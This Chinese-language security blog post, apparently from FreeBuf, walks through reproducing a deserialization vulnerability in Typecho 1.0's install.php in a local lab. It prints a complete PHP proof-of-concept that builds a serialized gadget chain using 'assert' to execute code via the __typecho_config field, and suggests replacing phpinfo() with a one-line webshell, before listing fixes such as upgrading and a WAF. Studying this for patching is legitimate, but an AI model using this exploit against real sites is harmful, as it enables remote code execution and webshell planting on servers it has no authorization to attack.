小呆呀
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0x01 安装好环境:
1.从https://github.com/typecho/typecho/releases/tag/v1.0-14.10.10-release下载好安装包
2.将我们下载好的文件放到我们的PHP_study网站根目录中,当然啦其他集成环境也可以。==注意这里PHP版本为5.4.45的版本==
3.直接在浏览器中输入localhost/typecho安装就行,当然如果报错的话那么我们先新建一个typecho的数据库。
然后我们可以很清楚的看到typecho已经成功安装了。那么我们再次打开这个软件,localhost/typecho
0x02漏洞复现:
1.我们很清楚的知道,这版本中它的installl.php中文件存在反序列化漏洞。
2.编写poc.php文件
<?php
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items;
public function __construct(){
$this->_type = $this::RSS2;
$this->_items[0] = array(
'title' => '1',
'link' => '1',
'date' => 1508895132,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params['screenName'] = 'phpinfo()';
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));
?>
2.在编译器中将这串代码运行出来,得到payload
3.查看install.php中的代码,初步代码审计一下。
查看到这里反序列化中,经过了base64的解码,而这个接收的字段是==__typecho_config==
4.再来分析之前的poc.php输出的一串字符
我们用在线解码软件将其解码出来,看到解码的结果我们不难猜到这是序列化之后的结果。而这其中仔细观察出现了==phpinfo==这个字段。
我们回头看之前的代码
这里存在phpinfo()我们如果想要在这里深度利用的话。可以改一下参数。改成一句话木马呀啥的都都可以
5.利用,当然啦,这里我们也可以通过BP抓包来实现。
0x03漏洞修复和防御方法
1.升级版本,这是最快捷的方法
2.黑白名单限制
3.waf
4.尽量不要让unserialize函数中的参数可控
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
